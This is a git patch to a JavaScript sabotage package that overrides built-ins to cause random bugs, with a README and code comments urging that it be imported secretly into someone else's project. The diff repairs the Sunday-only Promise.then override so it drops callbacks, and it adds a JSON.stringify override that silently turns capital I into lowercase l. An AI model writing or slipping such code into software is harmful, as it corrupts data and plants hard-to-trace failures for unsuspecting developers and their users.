From 883f5a7f19adb3b7d10b898ac88b1744d03bf216 Mon Sep 17 00:00:00 2001 From: wheatup Date: Fri, 9 Apr 2021 16:21:51 +0900 Subject: [PATCH] more --- README.md | 1 + index.js | 17 +++++++++++++---- 2 files changed, 14 insertions(+), 4 deletions(-) diff --git a/README.md b/README.md index 03d60de..546ad4d 100644 --- a/README.md +++ b/README.md @@ -11,6 +11,7 @@ * `Array.filter` 的结果有2%的概率丢失最后一个元素。 * `setTimeout` 总是会比预期时间慢0.25秒才触发。 * `Promise.then` 在周日时有10%不会注册 +* `JSON.stringify` 会把`I`(大写字母I)变成`l`(小写字母L) * ... **声明:本包的作者不参与注入,因引入本包造成的损失本包作者概不负责。** \ No newline at end of file diff --git a/index.js b/index.js index 2a0416f..de4b008 100644 --- a/index.js +++ b/index.js @@ -6,7 +6,7 @@ * @disclaimer The purpose of this package is to scramble someone's project and produces bugs. * Remember import this package secretly. * The author of this package does not participate any of injections! - * @disclaimer_zh 本包用于给项目不定期制造BUG用,请私密地引入本包。本包的作者不参与传播、注入。 + * @disclaimer_zh 声明:本包的作者不参与注入,因引入本包造成的损失本包作者概不负责。 */ (() => { @@ -61,14 +61,23 @@ /** * Promise.then has a 10% chance will not register on Sundays - * @zh Promise.then 在周日时有10%不会注册 + * @zh Promise.then 在周日时有10%几率不会注册 */ const _then = Promise.prototype.then; - Promise.prototype.then = function(fn, ...args) { + Promise.prototype.then = function(...args) { if(new Date().getDay() === 0 && Math.random() < 0.1) { return; } else { - _then.call(fn, ...args); + _then.call(this, ...args); } } + + /** + * JSON.stringify will replace 'I' into 'l' + * @zh JSON.stringify 会把'I'变成'l' + */ + const _stringify = JSON.stringify; + JSON.stringify = function(...args) { + return _stringify(...args).replace(/I/g, 'l'); + } })(); \ No newline at end of file